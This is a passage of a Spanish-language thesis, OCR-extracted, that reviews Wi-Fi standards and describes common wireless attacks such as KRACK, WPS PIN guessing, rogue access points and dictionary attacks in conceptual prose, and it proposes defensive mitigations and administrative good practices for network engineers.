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1. CAPITULO 1: PRELIMINARES

1.1. Resumen

El presente trabajo propone la identificacion, mitigacion y posterior control

de ciertas vulnerabilidades de las redes inalambricas.

En esta propuesta, se incluyen casos reales a través de los cuales se puede asociar el
problema con una vulnerabilidad afectada para tomar acciones puntuales al respecto

mediante una tabla comparativa que se ird armando a lo largo del trabajo.

Adicionalmente se provee recomendaciones en cuanto a cultura laboral, cultura de

uso de contrasenas en incluso a nivel de infraestructura.

En resumen, el presente trabajo brinda una guia a través de la cual el ingeniero de
redes puede hacer frente a las vulnerabilidades mas comunes y realizar una

mitigacion exitosa del incidente ocurrido.



1.2. Introduccion

En la historia de la evolucion, el ser humano ha demostrado su interés por la
comunicacién con su entorno. En este proceso, éste ha desarrollado distintas
habilidades para lograr dicho cometido. Actualmente, la cuspide de esta necesidad
de entendimiento con sus semejantes es el Internet. Sin embargo, son las maneras
mediante las cuales el hombre se conecta a la red, lo que vuelve a este medio de
comunicacion una herramienta sofisticada y versatil, util para casi cualquier
actividad. En el presente trabajo se abordara el método de conexion que ha venido
ganando adeptos, asi como opositores a lo largo de sus escasos 15 afios, las redes

inalambricas Wi-Fi.

Ya sea por su amistosa interfaz o simplemente por su costo considerablemente mas
barato en comparacion a su contraparte, la red cableada, el método de conexion Wi-
Fi se ha consolidado como un estandar en el hogar promedio. En 2016, ETCIO,
empresa vanguardista de tecnologia, publico datos de un estudio internacional, el
cual muestra que, en promedio, existen 10 dispositivos con capacidad de unirse a una
red Wi-Fi en el hogar, esta cifra, acorde a ellos, podria quintuplicarse en los proximos

dos anos gracias al loT (Internet of Things).

Entonces, si es mas barata, mas amigable con el usuario y mas simple de configurar,
es logico preguntarse: ;Por qué no se convierte en un estandar para todas las
conexiones? Existe una razon por la cual las redes Wi-Fi no terminan de despegar
como alternativa a una red empresarial. Dejando a un lado la inestabilidad,

incremento de latencia o susceptibilidad a interferencia. Las redes Wi-Fi son victimas
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de hasta el 340% mas de ataques que las redes cableadas tradicionales. Esto se debe
a que el canal mediante el cual viaja la trama de datos es el aire, el cual es accesible
para todo aquel que esté dentro o cerca del area de alcance de la red. Sin embargo,
esto no significa que la informacion que viaja del punto A al punto B es vulnerable en
todo su trayecto. En el transcurso del presente trabajo se revisaran los principales
ataques de los cuales son victimas las redes Wi-Fi y sus correspondientes mitigantes
junto con una serie de normas que, si son aplicadas correctamente, seran de ayuda
para lograr alcanzar una mayor seguridad en la transmision y recepcion de datos a

través de Wi-Fi.



1.3. Planteamiento del problema

Las redes inaldmbricas presentan, por su arquitectura misma, grandes debilidades
tanto en lo que se refiere a mecanismos de autenticacion como el transporte de
datos. Por ello el principal problema en torno a ellas es la seguridad, esta
problematica esta constituida principalmente por los riesgos presentes en las redes
inaldmbricas, los cuales a la fecha no han podido ser totalmente evaluados debido a

la constante evolucion de estos.

En este contexto, no se han propuesto soluciones de seguridad adicional frente a los
riesgos en las redes inalambricas ya que, si bien es cierto, se ha manifestado en
repetidas ocasiones la necesidad de mitigar las vulnerabilidades existentes en éstas,
no se han propuesto soluciones de seguridad como un modelo o una metodologia a

través de la cual se fortalece la red significativamente.

A pesar de que la informacion referente a parametros de seguridad esta muy
difundida, actualmente se encuentra dispersa y no ha sido sistematizada en un
modelo estandar mediante el cual se pueda asegurar el fortalecimiento de una red
inalambrica. Esto conlleva a realizarse la siguiente pregunta: ;Cudales son los

parametros primordiales que deben ser incluidos en el modelo?

Al proponer un modelo de seguridad para el fortalecimiento de las redes inalambricas
uno de los problemas mas comunes es la falta de un marco pre instaurado ya que la

informacion se encuentra dispersa.



14. OBJETIVOS

14.1.

14.2.

Objetivo General

Proponer un modelo de seguridad para fortalecer las redes inalambricas

Objetivos Especificos
Evaluar los riesgos presentes en las redes inalambricas.
Proponer soluciones de seguridad adicional frente a los riesgos en las redes
inalambricas.
Establecer parametros de seguridad en las redes inalambricas.
Instaurar un marco referencial para futuras investigaciones.

Elaborar el documento del modelo de seguridad.



1.5. Marco Teodrico

1.5.1. Seguridad Informatica

Acorde a Red Users (2011), la seguridad informatica, en torno, tanto a la informatica
como a la telematica comprende un conjunto de medidas de prevencion, deteccion
y correccion, orientadas a proteger la confidencialidad, integridad y disponibilidad
de los recursos informaticos. Es decir, no inicamente se enfoca en la prevencion de
ataques informaticos, sino que también se encarga de salvaguardar la informacion o
la infraestructura que tenga como objetivo servir como parte de sistemas de

informacion.

1.5.2.  Seguridad de la informacion

La seguridad de la informaciéon nace como un producto de la seguridad informatica.
Red Users (2001) menciona que la seguridad de la informacion no abarca unicamente
a los equipos informaticos en los que se encuentra digitalizada y guardada la
informacion, sino que también se centra en aquellos repositorios no tan actuales en
donde los datos se almacenan entrando en esta categoria inclusive los pedazos de
papel: “... esto se basa en que la informacion va mucho mas alld de la netamente
procesada por equipos informaticos y sistemas, es decir, también abarca aquello que

pensamos, que estd escrito en un papel, que decimos, etc...” (Red Users, 2001,
p.13).

La Direcciéon Central de la Seguridad de los Sistemas de Informacion del Gobierno

Francés (2013) menciona: “La defensa en profundidad del sistema de informacion es



una defensa global y dindmica, que coordina varias lineas de defensa que cubren
toda la profundidad del sistema. El término profundidad debe entenderse en su
sentido mas amplio, es decir, en la organizacion del SI, en su implementacion y, por
ultimo, las tecnologias utilizadas”. Consecuentemente, es logico pensar que la
seguridad de la informacion va mas alla de unicamente una estructura, un antivirus
o un firewall. La seguridad de la informacion se plantea como un conjunto de

practicas que permiten la correcta fiabilidad de ésta.

1.5.2.1.  El'modelo de defensa en profundidad de Microsoft

Se ha considerado necesario incluir una breve explicacion al modelo definido por
Microsoft, el cual ha sido utilizado por sus programas de capacitacion a lo largo del
mundo para conseguir buenas practicas en el manejo de la informacion. A grosso

modo se tiene lo siguiente:

e Doliticas, procedimientos y concientizacion.
e Seguridad fisica.

e Seguridad del perimetro.

e Seguridad de la red.

e Seguridad del equipo.

e Seguridad de las aplicaciones.

Seguridad de los datos.

El orden no es una casualidad, no es de sorprender que Microsoft ponga especial

énfasis en las politicas, procedimientos y concientizacion, ya que en ellos se basa el



resto de la cadena, mas adelante en el presente trabajo, se podra analizar lo inutil
que es implementar politicas de seguridad si la capa del usuario sigue siendo el talon
de Aquiles del sistema, es necesario recordar la frase que dicta el comportamiento de
todo sistema: El funcionamiento de un sistema siempre estard sujeto al menor de sus

componentes.

La seguridad fisica, el perimetro, la red y el equipo son practicas que en adelante se
consideraran basicas para la seguridad de los equipos, mas ain cuando se habla de
redes inalambricas, en donde la infraestructura debe adaptarse a las necesidades del

sistema de informacion.

La seguridad de las aplicaciones y los datos, convergen en una categoria que en el

desarrollo de este trabajo se conocera como encriptacion y manejo de datos.

1.5.3. Wi-Fi
Wi-Fi en si, es una marca comercial de Wi-Fi Alliance, una organizacion que se dedica
a la certificacion de los equipos que cumplen con los estandares 802.11 de las WLAN

(redes inalambricas de area local).

1.54.  El estandar 802.11

En el origen de las conexiones inalambricas, muchas soluciones de conectividad
estaban limitadas a los estandares que cada empresa brindaba a sus clientes. Tal es
asi que, por ejemplo, un modem Nokia, no podia brindarle acceso a la red a un

computador IBM. Esto suponia un reto no solo a nivel logistico sino también a nivel



financiero ya que muchas compaiias en ese entonces tuvieron que elegir a una

marca para que sea su proveedora de tecnologia de manera integral.

El IEEE intentando suplir esta necesidad del mercado, lanza el estandar 802.11 en sus
distintas variantes. Gracias a la estandarizacion, Wi-Fi se ha logrado posicionar como

un medio de comunicacion versatil a lo largo de los ultimos anos.

1.5.4.1. Variantes del IEEE 802.11

1.5.4.1.1. Estandar 802.11

Velocidad (teorica)- 2 Mbit /s
e Velocidad (practica) - 1 Mbit/s
e Frecuencia - 24 GHz

e Ancho de banda - 22 MHz

e Alcance - 330 metros

e Ano de implementacion - 1997

1.5.4.1.2. Estandar 802.11*

Velocidad (teorica)- 54 Mbit/s

e Velocidad (practica) - 22 Mbit/s
e Frecuencia - 5,4 GHz

¢ Ancho de banda - 20 MHz

e Alcance - 390 metros

e Afo de implementacion - 1999



1.5.4.1.3. Estandar 802.11b

Velocidad (teorica)- 11 Mbit /s
Velocidad (practica) - 6 Mbit /s
Frecuencia - 2,4 GHz

Ancho de banda - 22 MHz
Alcance - 460 metros

Ano de implementacion - 1999

1.5.4.14. Estandar 802.11g

Velocidad (teorica)- 54 Mbit/s
Velocidad (practica) - 22 Mbit/s
Frecuencia - 2,4 GHz

Ancho de banda - 20 MHz
Alcance - 460 metros

Ano de implementacion - 2003

1.5.4.1.5. Estandar 802.11n

Velocidad (teorica)- 600 Mbit/s
Velocidad (practica) - 100 Mbit/s
Frecuencia - 2,4 GHz y 5,4 GHz
Ancho de banda - 20 /40 MHz
Alcance - 820 metros

Ano de implementacion - 2009
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o Disponible en la mayoria de los dispositivos modernos. Puede configurarse
para usar solo 20 MHz de ancho y asi prevenir interferencias en una zona

congestionada.

1.5.4.1.6. Estandar 802.11ac

Velocidad (teorica)- 6.93 Gbps

o Velocidad (practica) - 100 Mbit/s

e [Frecuencia- 5,4 GHz

e Ancho de banda - 80 o hasta 160 MHz

e Ano de implementacion - 2013

e Nuevo estandar sin interferencia pero con menos alcance, aunque hay

tecnologias que lo amplian. Mas rendimiento y otras ventajas.

1.5.4.1.7. Estandar 802.11ad

Velocidad (teorica)- 7.13 Gbit/s

e Velocidad (practica) - Hasta 6 Gbit/s
e Frecuencia - 60 GHz

e Ancho de banda - 2 MHz

e Alcance - 300 metros

e Ano de implementacion - 2012

1.5.4.1.8. Estandar 802.11ah
e Frecuencia - 0.9 GHz

e Ancho de banda - 2 MHz

1



e Alcance - 1000 metros
e Ano de implementacion - 2016

e Conocida como Wi-Fi HaLow

1.5.4.2. Conceptos Basicos Wi-Fi

1.54.2.1. WAP

(Wireless Access Point) También conocido como Punto de Acceso, es un dispositivo
de capa 2 que provee acceso a los dispositivos inalambricos hacia redes cableadas e
incluso hacia otras redes inalambricas. Se lo puede describir como el punto de

conexion entre una red inalambrica y una red cableada.

1.5.4.2.2. MAC Address
MAC proviene de las siglas Media Access Control, es un identificador de 48 bits que
se asigna de manera unica a una tarjeta de red, también se la conoce como direccion

fisica.

1.5.4.2.3. SSID
Service Set Identifier es también conocido como el nombre de la red, se puede
configurar para que una red lo muestre o no. Esta incluido en todos los paquetes de

comunicacion de una red inalambrica. Tiene una longitud maxima de 32 caracteres.

“Este identificador puede ser publica (broadcast) o privada. Cuando es privada no se
muestra al buscar redes inalambricas desde mi PC. Pero para poder hacer la
SSID privada tiene que tener el punto de acceso esta opcion.” (Garzon-Pérez,

2010)
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1.5.4.2.4. BSSID
Basic Service Set Identifier, es el identificador de 48 bits formado por la direccion
MAC del punto de acceso inalambrico al que se encuentra conectado el equipo que

establece la red inalambrica.

1.5.4.2.5. ESSID
Extended Service Set Identifier, generalmente se utiliza en redes con multiples puntos

de acceso.

1.5.4.2.6. Canales establecidos por IEEE
Junto con el estandar IEEE 802.11, se especificaron también 3 rangos de frecuencia:

2.4GHz, 3.6GHz y 5 GHz.

1.5.4.2.7. Trama
Es la unidad de envio de datos, tiene su equivalente en la capa de enlace del modelo

OSI (capa 2). La comunicacion en las redes inalambricas sucede a través de tramas.
Las tramas tienen tres partes: cabecera, datos y cola.

1.5.4.2.7.1. Componentes de la direccion de la trama

Los campos que conforman la trama son los siguientes:

- Direccion MAC del nodo final

- Direccion MAC del nodo inicial

- Direccion MAC que identifica el dispositivo Wireless que es el receptor
inmediato de la trama

- Direccion MAC que identifica el dispositivo Wireless que transmite la trama
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1.5.4.2.7.2. Posibilidades de trama de acuerdo con su tipo

- Trama de administracion

Son responsables de mantener la comunicacién entre los puntos de acceso y los

clientes inaldmbricos. Se subdividen en:

o De peticion de autenticacion
o De finalizacion de la conexion
o De solicitud de asociacion
o De respuesta de asociacion
o De solicitud de re asociacion
o De respuesta de re asociacion
o De des asociacion
o De presencia (Beacon)
o De solicitud de exploracion
o De respuesta de exploracion
- Trama de control
Controlan el intercambio de informaciéon entre el punto de acceso y los
clientes inalambricos. Puede ser uno de los siguientes subtipos.
o Solicitud de envio (RTS)
o Disponible para el envio (CTS)
o Confirmacion (ACK)
- Trama de datos

Transportan los datos reales enviados en la red inalambrica
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1.5.5. Autenticacion

En el mercado existen actualmente dos tipos de autenticacion:

1.5.5.1.  Sistema Open
Permite el acceso a la red a todos, sin importar si tienen permisos o no. Suele estar
presente en sitios de acceso publico como restaurantes, cafeterias, parques e incluso

€n algunos aeropuertos.

Los sistemas Open, permiten que los ataques Man in the middle, Farming e incluso

robo de identidad, tengan un entorno favorable para suceder.

Uno de los inconvenientes mas comunes de los sistemas de autenticaciéon Open,
suele ser el descontento general de los usuarios cuando la red llega a sobre saturarse

y el rendimiento, asi como la velocidad disminuyen considerablemente.

1.5.5.2. Sistema de Clave compartida
Cuando se habla de seguridad de redes inalambricas, el método de autenticacion que

usualmente se viene a la mente es el sistema de claves compartidas.

Con este método, todos los dispositivos conectados a una misma red comparten una
caracteristica en comun: poseen acceso a la contrasena secreta correspondiente a

ese SSID.

Dentro del sistema de clave compartida, se tienen los siguientes tipos de

autenticacion:
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1.5.5.2.1. Autenticacion PSK

Consiste en una clave pre compartida que tiene entre 8 y 63 caracteres de longitud.
Gracias a este tipo de autenticacion, el usuario unicamente debe ingresar una clave
en el punto de acceso inalambrico (WAP) para de esta manera obtener acceso a la

red y, en teoria, no temer a ataques

1.5.5.2.2. Autenticacion 802.1x
En este tipo de autenticacion se emplean dos tipos de claves: la de sesion individual

y la de grupo.

Una clave de sesion individual es inica para cada dupla dispositivo - punto de acceso,

son empleadas usualmente en el trafico unicast.

La clave de grupo por su parte es compartida por todos los dispositivos conectados

a un mismo punto de acceso, se emplean en el trafico multicast y broadcast.
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2. CAPITULO 2: Evaluacién de los riesgos existentes en las
redes inalambricas

2.1. Riesgos existentes en las redes inalambricas

Las redes inaldmbricas, como se menciono en la introduccion, tienen una falencia
notoria: el canal mediante el que se transmiten es de libre acceso y, en consecuencia,

el o los atacantes pueden entrar a ella de manera relativamente facil.

2.1.1. Vulnerabilidades internas
Una red puede ser irrumpida no unicamente con ataques, sino también
aprovechando las vulnerabilidades presentes en ella. En este subcapitulo se va a

hablar sobre dos de las mas comunes:

2.111. Ingenieria Social

El término ingenieria social hace referencia al arte de manipular personas para eludir
los sistemas de seguridad. Esta técnica consiste en obtener informaciéon de los
usuarios por teléfono, correo electronico, correo tradicional o contacto directo. Los
atacantes de la ingenieria social usan la fuerza persuasiva y se aprovechan de la
inocencia del usuario haciéndose pasar por un companero de trabajo, un técnico o

un administrador, etc.

La ingenieria social puede llevarse a cabo a través de una serie de medios: por
teléfono, por correo electronico, por correo tradicional, por mensajeria instantanea,

etc.
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2.11.2. Contrasenas de Autenticacion Débiles

En informatica, las contrasenas débiles son las mas comunes entre los usuarios
promedio ya se por su simple estructura que facilita su memorizacion, o por la pereza
que muchos de ellos tienen para generar una contrasena valida en cuanto a normas
de seguridad se refiere. En lo que va del anio 2018, se han realizado varios ataques a
grandes redes sociales o repositorios de cuentas de usuario acorde al registro de
ataques de Kaspersky, en ellos se evidencian ciertos comportamientos de los
usuarios respecto a sus contrasenas que llega a alarmar un poco a quienes conforman

el area de seguridad e integridad de la informacion de las empresas.

Acorde a Mark Burnett en su libro Perfect Passwords existen ciertas

recomendaciones realizadas por la NASA para una contrasena valida:

“

e Debe tener por lo menos ocho caracteres

e Debe tener mayusculas, mindsculas, numeros y caracteres especiales
e No debe ser un nombre propio, o una palabra de diccionario

e No debe incluir parte del nombre del usuario

e Se debe cambiar cada cierto tiempo

e No usar la misma para todos los sitios en donde se realiza login

" (Burnett, 2006)

18



2.1.2. Ataques

Junto con las redes (no unicamente las inalambricas), han ido apareciendo distintas
maneras y/o métodos que comprometen su integridad y seguridad. En este
subcapitulo se hablara sobre los ataques mas comunes en el apartado de las redes

inalambricas

2.1.2.1.  Ataque DDOS

También conocido como la denegacion del servicio, por medio de este ataque, el
agresor busca inyectar paquetes de manera repetitiva a uno o varios servidores de
tal manera que no pueda resolver todas las peticiones causando asi una denegacion
del servicio en tiempo de ejecucion. Puede ser usado tanto para causar caos en una
red como para provocar reconexiones que permitan recoger el handshake WPA que

a futuro facilitaria nuevos ataques.

2.1.2.2. Autenticacion falsa

Este ataque no tiene una finalidad destructiva como tal, su utilidad es asociar nuestra
MAC al punto de acceso para poder inyectar paquetes en su red y permitir otro tipo
de ataques mas avanzados. Permite simular una autenticacion en una red que use

WEP.

2.1.2.3. Escucha de protocolos (Sniffing)
Un ataque de escucha de protocolos o sniffing, es un ataque logrado a través de una

aplicacion conocida como sniffer, la cual permite monitorear y analizar el trafico.
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2.1.2.4. Rogue WPA

Este método consiste en clonar la red a la cual se va a conectar el usuario, copiando
su SSID de tal manera que a ojos del usuario comun, parezca que esta accediendo a
su AP de confianza, el momento que se realiza el login, el atacante captura la clave

ingresada por el usuario y de esta manera obtiene acceso a la red original.

2.1.2.5. Ataque por diccionario

El ataque por diccionario o fuerza bruta, consiste en bombardear al servidor de
autenticacion con todas las posibles combinaciones de caracteres que puedan
conformar las contrasenas buscadas, bajo este precepto, una red nunca estaria del
todo segura ya que cualquier contrasena podria ser adivinada, el unico factor
decisivo es la complejidad y por consiguiente, el tiempo empleado para la obtencion

de claves.

2.1.2.6. Ataque KRACK (Reinstalacion de claves)
KRACK es el acronimo de Key Reinstallation AttACK, es decir, logra una reinstalacion
de la clave en el AP. Esta vulnerabilidad explota una debilidad presente en la

arquitectura WPA2 por lo cual afecta a todas las plataformas.

Para ejecutarlo, el atacante tiene que configurar una red Wi-Fi con el mismo nombre
(SSID) que la red existente y dirigirlo a un usuario especifico. Cuando el atacante
detecta que el usuario esta a punto de conectarse a la red original, este envia
paquetes especiales que hacen que el dispositivo se cambie al otro canal y se conecte

en la red falsa bajo el mismo nombre.
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Después de esto, utilizando un fallo en la implementacion de los protocolos de
cifrado, pueden cambiar la clave de cifrado que el usuario estaba usando por una

serie de ceros y asi acceder a la informacion que el usuario sube o descarga.

2.1.2.7. Ataque WPS

El WPS, es una caracteristica perteneciente a los routers y puntos de acceso que se
incorpord por primera vez en el estandar 802.1IN para facilitar la conexion entre los
dispositivos inalambricos que presenten inconvenientes en la insercion de
informacion a causa de la falta de pantallas o dispositivos de entrada. Esta tecnologia
permite sincronizar dispositivos por 60 segundos con el toque de un botén. En la
teoria fue disefilado como una facilidad de conectividad, sin embargo, afnos atras, se
descubridé una vulnerabilidad que afecta directamente al PIN del WPS. Esto deja al
descubierto una brecha de seguridad amplia ya que el PIN apenas tiene 8 digitos, una
cifra relativamente corta si se tienen en cuenta las longitudes de las cadenas

protegidas con WPA o WPA2.

Encontrar un PIN WPS no es particularmente complicado siempre y cuando el AP no
limite el numero de intentos de conexion. De hecho se puede volver bastante facil ya

que muchos de los fabricantes insignia ponen un PIN predeterminado.
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2.2. Tabla de Resumen

En resumen, se puede sintetizar estos conceptos en la siguiente tabla de
vulnerabilidades:
Tabla 1 Sintomas y Posibles Vulnerabilidades del Entorno
Sintoma Posibles Vulnerabilidades
Incremento de la cantidad de accesos a
e Ingenieria Social
una misma cuenta desde distintas
e Fuerza bruta
direcciones
Incremento excesivo del consumo de e Ataque DDOS
memoria del servidor e Ataque por diccionario
Incremento  excesivo de  sesiones
e Ataque WPS
anonimas a un mismo Access Point
Usuarios quejdndose de que son
e Ataque por inyeccion de trafico
“sacados” de la red inaldmbrica
Incremento de Spam e Ingenieria Social
Varias SSID iguales e Rogue WPA
Lentitud en la conexion (incluso en e Ataque de escucha de protocolos o

intranet) sniffing

Routers con firmware desactualizado e Ataque KRACK
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3. CAPITULO 3: Propuesta de soluciones de seguridad

adicional frente a los riesgos en las redes inalambricas

Una vez revisados los riesgos que supone tener una red con un canal publico, es
tiempo de evaluar hasta qué punto se puede mitigar estos riesgos, de manera que el
uso de una red inalambrica ya no signifique un riesgo catastrofico para la entidad que
lo usa. En este capitulo se proponen ciertas soluciones y otros tantos mitigantes que
permitiran (después de un analisis) la creacion de un modelo de seguridad para
mejorar la seguridad de las redes inalambricas. Inicialmente se estableceran ciertos

principios basicos de proteccion

3.1. Principios basicos de proteccion

3.1.1 Filtrado por direcciones MAC

Este método consiste en la creacion de una tabla de datos en cada uno de los puntos
de acceso a la red inalambrica. Dicha tabla contiene las direcciones MAC (Media
Access Control) de las tarjetas de red inalambricas que se pueden conectar al punto
de acceso. Como toda tarjeta de red posee una direccion MAC unica, se logra

autenticar el equipo. (Madrid Molina, 2006)

3.2. Mitigacion de vulnerabilidades internas

Varios de los tipos de ataques suscitados a diario en el entorno tanto laboral como
doméstico suelen ser perpetrados por personas con bajos conocimientos

informaticos cuyo unico recurso para acceder a la red de manera no autorizada es
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robar la clave de acceso al WAP. En este subcapitulo se hablara sobre las posibles

mitigaciones al problema de las vulnerabilidades internas.

3.21.  Mitigacion de vulnerabilidades internas
La ingenieria social tiene un campo de accion amplio, sin embargo en el presente
trabajo se intentara exponer ciertas practicas que podrian mitigar la apropiacion de

claves y /o ingreso a la red Wi-Fi.

Kevin Mitnick senala que el factor humano es el eslabon mas débil en un sistema de
seguridad. Gracias a la manipulacion es relativamente sencillo obtener la

informacién confidencial necesaria para hacer caer todas las medidas de seguridad.
La ingenieria social se basa en cuatro principios:

e Todos quieren ayudar
e El primer movimiento es siempre de confianza
e La gente evita decir que no

e Todos disfrutan de su ego

A pesar de que el mejor consejo para evitar ser victima de la ingenieria social es el
sentido comuin muchas veces no es suficiente para lograr discernir una mentira de
un comunicado oficial. Hoy en dia paginas Grandes como Facebook Outlook Twitter
Instagram YouTube e incluso plataformas un poco mas profesionales como LinkedIn
adolecen de ataques de inyeccion JavaScript mediante las cuales enganan al usuario

redireccionando a dominios este pone sus credenciales.
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3.2.11. Separacion de afinidades personales del entorno de trabajo
El entorno de trabajo puede ser el entorno apropiado para que el afectado baje la

guardia.

3.2.1.2. Cuidado de claves en donde se almacene informacion sensible

En esencia, las empresas no deben transmitir informacion demasiado sensible a
través de redes inalambricas. Sin embargo si es que esto llegara a suceder, las claves
de acceso a estas redes no deben ser enviadas a través de ningan medio electroénico,
por ejemplo, la contrasena de acceso a la red deberia ser entregada de un usuario a
otro través de un medio fisico tal como un documento escrito, nunca un email, esta
practica permite mantener la confidencialidad de la clave y evitar su posible filtracion

en el futuro

3.2.1.3. Ignorar mail de dudosa procedencia

Uno de los ataques mas comunes para robo, ya sea de contrasefas como de
identidad, es el ataque conocido como Phishing o robo de identidad. Por medio de
este ataque el perpetrador engana al usuario haciéndole creer que con el objeto de
ganar un premio o una retribucion econdmica tiene que enviar cierta informacion al
atacante. Estos datos pueden ser personales hasta incluso claves de acceso a las

redes que tiene a su cuidado
Una serie de consejos evitar ceder credenciales por medio de la ingenieria social:
Nunca revelar por teléfono o email claves de acceso hostnames dominios etc.

No hacer clic en enlaces que lleguen a través de un email solicitando credenciales.
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Si se desea modificar los parametros del WAP es necesario verificar que la direccion

del WAP sea la correcta

3.3. Mitigacion de vulnerabilidades externas

3.3.1.  Mitigacion de riesgos para un ataque por inyeccion de Trafico

La clave para la mitigacion de un ataque por inyeccion de trafico es la captura
permanente de este. Es casi imposible para el administrador de sistemas darse
cuenta al instante de un ataque de inyeccion de trafico, en especial si el volumen
llega a ser muy elevado. Para estos casos, lo mejor es recopilar data de trafico a lo
largo de la linea de tiempo y posteriormente analizarlo utilizando software especifico

como WireShark o Snort.

Snort en especifico brinda un ID Sensor que permite registrar los paquetes que
generan algun tipo de alarma. Esto lo recopila en un archivo binario cuya codificacion

corresponde a Unified2.

Para poder entender este archivo, es necesario transpilarlo a través de WireShark.

(Ver anexo 8.4 para entender cOmo).
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3.3.2.  Mitigacion de riesgos para un ataque por diccionario
La mitigacion de un ataque por diccionario sera efectiva de manera inversamente

proporcional a la calidad del diccionario de datos utilizado para realizar el ataque.

Sin embargo, existen un par de tips que permiten mejoria en el aspecto de mitigacion

de riesgos para un ataque de este tipo:

3.3.2.1. No utilizar palabras comunes o reales
Estadisticamente la palabra password es la clave mas utilizada a nivel mundial por los
usuarios. Esto es un claro ejemplo de que el usuario prefiere frases o palabras faciles

de recordar por encima de la seguridad que éstas suponen.
Para lograr una contrasefa segura, IEEE (2015) recomienda:

- Usar palabras con errores ortograficos
- Establecer un numero maximo de intentos fallidos de ingreso de clave
- Usar los estandares basicos de contrasenas robustas:

o Mas de 8 caracteres

o Una mayuscula

o Una minuscula

o Un numero

o Un caracter especial

3.3.2.2. Cambio continuo y sistematico de contrasenas
Inclusive con una contrasefia que presente 10000 letras, numeros y simbolos, el
acceso a un AP o a cualquier tecnologia esta sujeto al cambio continuo de la
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informacién ingresada en el sistema. Acciones como rotar el orden de una
contrasena permiten al usuario una mayor proteccion del crackeo de claves por

diccionario.

3.3.3. Mitigacion de riesgos para un ataque KRACK (Reinstalacion de claves)

Basandose en que KRACK nace como una vulnerabilidad abierta de WPA2, mitigacion
mas comunmente establecida para controlar este tipo de ataque, es la instalacion de
parches en el cliente. Con este fin, Windows en sus ultimas actualizaciones ha

incluido la proteccion a nivel de sistema operativo.

Sin embargo, KRACK llega mucho mas alld de la capa del cliente ya que vulnera
directamente la capa de enlace. Por tanto, el equipo actualizado y en teoria,
protegido, puede seguir conectandose a través de routers inseguros, a redes
inseguras. Para mitigar definitivamente los riesgos de esta vulnerabilidad, se

recomienda seguir las siguientes indicaciones:

- Actualizar AP y routers a su altimo firmware.

- Cambiar metddicamente las contrasenas de los AP (seguir las mismas politicas
establecidas en el punto 3.3.2)

- Actualizar los sistemas operativos a su ultima version ya que la mayor parte de
ellos corrige esta vulnerabilidad a nivel de cliente. (Esto sin embargo no es
particularmente relevante ya que el problema se encuentra a nivel de la capa

de enlace, en el AP)
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3.4. Tabla de resumen del Capitulo

Tabla 2 Mitigaciones a las Vulnerabilidades Encontradas

Sintoma Posibles Vulnerabilidades Mitigacion

Incremento de la cantidad

de accesos a una misma e Ingenieria Social Solicitar ~ Cambio  de
cuenta desde distintas e Fuerza bruta contrasenas
direcciones

Establecer un log de
Incremento excesivo del

e Ataque DDOS handshakes para
consumo de memoria del
e Ataque por diccionario monitorear y descubrir
servidor
patrones similares.
Desactivar el WPS del
router después de
Incremento excesivo de realizar las
sesiones anonimas a un e Ataque WPS autenticaciones
mismo Access Point necesarias  para  los
dispositivos  que lo
requieran
Usuarios quejandose de Realizar capturas
e Ataque por inyeccién de
que son “sacados” de la red esporadicas de trafico
trafico
inaldmbrica para asegurar la
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Incremento de Spam

Varias SSID iguales

Lentitud en la conexion

(incluso en intranet)

Routers con firmware

desactualizado

e Ingenieria Social

e Rogue WPA

e Ataque de escucha de

protocolos o sniffing

e Ataque KRACK

integridad de las
conexiones
Establecer reglas de
mailing

Cambiar el método de
encriptacion del AP asi
como su SSID de manera
esporadica

Se puede mantener un
registro de las MAC
conectadas a cada puerto
a través de una estrategia
de DHCP  Snooping,
varios fabricantes
incorporan esta solucion
en sus equipos, entre
ellos CISCO.
Actualizaciones
constantes de Firmware
de los routers y de los

sistemas operativos que

se conecten a ellos.
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4. CAPITULO 4: Establecimiento de parametros de seguridad

para las redes inalambricas

No unicamente los mitigantes revisados en el capitulo anterior son necesarios para
mejorar la seguridad, un sistema robusto debe estar basado en principios de
seguridad y no usarlos solo como paliativos cuando se entra en una crisis. En el
presente capitulo se enlista una serie de buenas practicas para el mejoramiento del
desempeno de una red inalambrica (en el aspecto de seguridad). Para ello también se
explicara a breves rasgos, la infraestructura mediante la cual una red inalambrica es

mas efectiva.

4.1. Infraestructura necesaria

La seguridad no solo depende de practicas o software especifico para realizar
controles y auditorias sino también de ciertos componentes fisicos que permiten
crear una barrera contra los atacantes. En el presente trabajo se han seleccionado
dos dispositivos gracias a los cuales se puede establecer un nivel de seguridad. Para

ello se tiene un AP y un Firewall.

e Puntos de Acceso Sophos AP55
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Figura 1 Puntos de Acceso Sophos AP55
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4.2. Buenas practicas

42.1.  Administracion segura

Red Users (2011) mencionan en su libro que una de las practicas mas complicadas de
lograr a nivel empresarial, es la administracion segura. El manejo de permisos en una
empresa a nivel de tecnologia es primordial al momento de salvaguardar la integridad
de la informacion. “Un usuario solamente debe tener los privilegios minimos
necesarios para dicha tarea y el acceso a los recursos indispensables, no mas” (Red

Users, 2011. p23.)

Brindarle al usuario mas permisos de los que necesita conlleva un mayor control de
las actividades que este realiza. En el caso especifico de las redes inalambricas,
brindarle acceso a una red que transporta informacién valiosa a un usuario corriente,

puede llevar consecuencias legales negativas.

Para brindar una administracion segura del entorno de trabajo entonces, es

necesario realizar:

4.2.11. Segmentaciones de red
El principio de la segmentacion de red es que los datos que fluyen a través de una
red no puedan ser accedidos desde otra. De esta manera se salvaguarda la integridad

de la informacion sensible.
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4.2.1.2. Manejo de roles
No todos los usuarios deben ser capaces de realizar las mismas funciones dentro de
una misma red. Es decir, acceder al AP con sus credenciales para activar o desactivar

las caracteristicas de este (WPS, SSID, etc.)

42.2. Control de cambios

El control de cambios tiene como objetivo el resguardar el modelo de seguridad de
una organizacion. Acorde a Red Users (2011), cada vez que un usuario pide un cambio
en un sistema, genera una brecha de seguridad potencial, ya sea por la instalacion de
un software especial, cambio en los requerimientos, reemplazo de piezas fisicas o la
modificacion de los permisos o reglas en un firewall. Esto se debe a que el usuario
por lo general no es consciente de los cambios que se generaran como consecuencia

de sus acciones.

42.3. Control de Integridad

Los controles de integridad se establecen con el objetivo de evitar el “llenado de
basura” tanto en las bases como en los logs evitando las sesiones anénimas y teniendo
siempre una pista de auditoria para futuros analisis de datos. Con este fin, se sugiere
siempre obtener una rubrica digital en cada uno de los accesos que realiza el usuario

(puede ser la direccion MAC del dispositivo conectado por ejemplo).
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4.24. Politicas de cuentas

Como complemento a la administracion segura de permisos, las politicas de cuentas
permiten al administrador del sistema evaluar y asignar una correcta definicion del
usuario a los recursos que va a tener acceso. Este punto brinda especial énfasis a una
